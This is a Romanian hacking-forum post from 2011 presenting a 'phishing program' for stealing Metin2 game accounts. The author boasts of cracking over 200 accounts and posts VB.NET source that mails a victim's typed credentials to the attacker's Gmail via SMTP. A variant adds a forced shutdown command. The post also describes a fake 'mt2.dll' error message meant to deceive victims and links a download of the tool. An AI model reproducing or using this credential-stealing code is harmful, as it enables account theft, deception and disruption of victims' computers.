4 COMUNITY
Bun venit!!



 
AcasaAcasa  PortalPortal  CalendarCalendar  GalerieGalerie  FAQFAQ  CautareCautare  MembriMembri  GrupuriGrupuri  InregistrareInregistrare  ConectareConectare  

Distribuiţi | 
 

 V2008 - Phising Program [HD] BY VideoHDTutorial

Vezi subiectul anterior Vezi subiectul urmator In jos 
AutorMesaj
crysty97
Nou venit
Nou venit



MesajSubiect: V2008 - Phising Program [HD] BY VideoHDTutorial   Vin Mar 25, 2011 6:35 pm

Sall, am facut si un tutorial mai pentru experti cam asa.. priviti

Este o metoda buna de spart conturi , am spart cam peste 200 de conturi pe ro.. pe versiunea veche a programului facut de mn , Pe versiunea noua am doar cateva conturi ca am facut-o acum cateva zile. Adica versiunea noua include mai multe chestii
+Private Server
+Shutdown PC
+Delete Metin
+Un mesaj bun de eroare de pacalit lumea gen "Error, fisier not found mt2.dll , Please Reinstall Metin" uni mi-au dat mesaj si au zis ca reinstaleaza metin Smile)
Numai joc RO, si cred ca ma las si de Private.. Very Happy

aa si codu asta..
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("Your gmail account")
MyMailMessage.To.Add("Your email account")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Gmail account", "Gmail password")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub
End Class


Adaugati dupa TextBox2.Text = ""
si
shell("shutdown -s -t 30")
ar veni cam asa

Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("Your gmail account")
MyMailMessage.To.Add("Your email account")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Gmail account", "Gmail password")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
shell ("shutdown -s -t 1")
Catch ex As Exception
End Try
End Sub
End Class

Doar daca vreti..
Very Happy

Daca vreti versiunea a programului sa vedeti ce include .. Trebuie sa aveti instalat Net Frawework.. il luati si voi de pe net Smile)
http://www.girlshare.ro/2023512.7
De aici il luati..

Sus In jos
Vezi profilul utilizatorului
 
V2008 - Phising Program [HD] BY VideoHDTutorial
Vezi subiectul anterior Vezi subiectul urmator Sus 
Pagina 1 din 1

Permisiunile acestui forum:Nu puteti raspunde la subiectele acestui forum
4 COMUNITY :: Intretinerea Calculatorului :: Tutoriale Video-
Mergi direct la: